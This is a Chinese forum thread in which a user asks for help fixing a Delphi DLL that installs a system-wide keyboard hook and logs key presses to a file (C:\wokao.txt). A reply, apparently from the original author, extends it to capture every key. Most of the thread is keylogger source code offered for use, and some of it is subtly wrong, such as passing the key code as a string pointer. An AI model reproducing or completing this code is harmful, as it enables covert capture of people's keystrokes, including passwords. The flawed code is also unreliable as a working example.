哪位高手可以改一下这个源代码啊? 这个源代码有错误.我改了半天也没改对,不知哪儿错了.~~~~ 谢谢~~~
全局钩子,包含一个DLL源代码。我用C:\wokao.txt记录键盘按键。
library KBHookPrj;uses
  SysUtils,
  Classes,
  Dialogs,
  KbHook in 'KbHook.pas';{$R *.res}
exports
  StartHook   ,
  TerminateHook;
begin
  //ShowMessage(inttoHex(HInstance,8) + 'h');
end.
 钩子源代码。unit KbHook;interfaceuses 
Windows, SysUtils, Classes, Messages, Dialogs;typefunction KBHookPrc(nCode: Integer; w_Param: WPARAM;l_Param: LPARAM): LRESULT; stdcall;
procedure StartHook; StdCall;
procedure TerminateHook; StdCall;implementation
const
  LLKHF_ALTDOWN = KF_ALTDOWN shr 8;
  WH_KEYBOARD_LL = 12;
var
  hhkNTKeyboard: HHOOK; // 钩子句柄
  FileF, FileHand: THandle;
  AA: Pointer;  index: integer;function KBHookPrc(nCode: Integer; w_Param: WPARAM;
  l_Param: LPARAM): LRESULT; stdcall;begin       Result := 0;
  if nCode = HC_ACTION then
  begin
    if W_Param = VK_Return then
    begin
      ShowMessage('Fuck');
      StrCopy(aa,'ENTer');
      inc(integer(aa),6);
    end;
  end
  else
    Result := CallNextHookEx(0{hhkNTKeyboard}, nCode, w_Param, l_Param);
end;procedure StartHook; stdcall;
begin
  hhkNTKeyboard := SetWindowsHookEx(WH_KEYBOARD,
    KbHookPrc,
    HInstance, 0);
  if hhkNTKeyboard <> 0 then
    MessageBox(0, '系统键盘钩子已经启动了!', '信息', 64)
  else
    MessageBox(0, '无法启动系统键盘钩子!', '错误', 16);
end;procedure TerminateHook; stdcall;
begin
  // 解除键盘钩子
    //
    CloseHandle(FileF);
  CloseHandle(FileHand);
  if hhkNTKeyboard = 0 then
    MessageBox(0, '系统键盘钩子已经被禁止了!', '警告', 48)
  else
  begin
    UnhookWindowsHookEx(hhkNTKeyboard); // 卸载钩子
    hhkNTKeyboard := 0;
    //    Hook.CleanHookForm; // 此行代码与钩子无关,不要误解,是我自己的窗体清除
    MessageBox(0, '成功卸载系统键盘钩子!', '信息', 64)
  end;
end;initialization                       
  fileF := FileCreate('C:\wokao.txt');
  if FileF = 0 then
    ShowMessage('创建文件出错!' + Inttostr(GEtLastError));
  FileHand := CreateFileMapping(filef, nil, PAGE_READWRITE, 0, 10000, nil);
  if FileF = 0 then
    ShowMessage('创建文件Mapping出错!' + Inttostr(GEtLastError));
  aa := MapViewOfFile(fileHand, FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0);
  if FileF = 0 then
    ShowMessage('创建文件MapView出错!' + Inttostr(GEtLastError));
  index := 0;
finalization
 UnmapViewOfFile(aa);
  
end.

解决方案 »

  1.   

    typefunction KBHookPrc(nCode: Integer; w_Param: WPARAM;l_Param: LPARAM): LRESULT; 
    上面的
    去掉就可以运行了呀
      

  2.   

    哦,对不起,这是我很早以前写的源代码。这只是一个dll,不是exe。你要在其他的应用程序中调用StartHook开始安装钩子,TerminateHook卸载钩子。当时只是记录你按下enter键,要是要记下全部的键,你把KBHookPrc要改一下:function KBHookPrc(nCode: Integer; w_Param: WPARAM;
      l_Param: LPARAM): LRESULT; stdcall;begin    Result := 0;
      if nCode = HC_ACTION then
      begin
        if W_Param = VK_Return then
        begin
          ShowMessage('Fuck');
          StrCopy(aa,'ENTer');
          inc(integer(aa),6);
        end
        else 
        begin
          strcopy(aa,pchar(W_param));
          inc(aa);  
        end;  end
      else
        Result := CallNextHookEx(0{hhkNTKeyboard}, nCode, w_Param, l_Param);
    end;试一下,有什么不懂问我。
      

  3.   

    借宝地讨论一个好像是无关的问题,CallNextHookEx的第一个参数到底有没有用?如果必须,是不是SetWindowsHookEx返回的句柄也应该保存在共享内存呢?这个细节怎么没人注意过。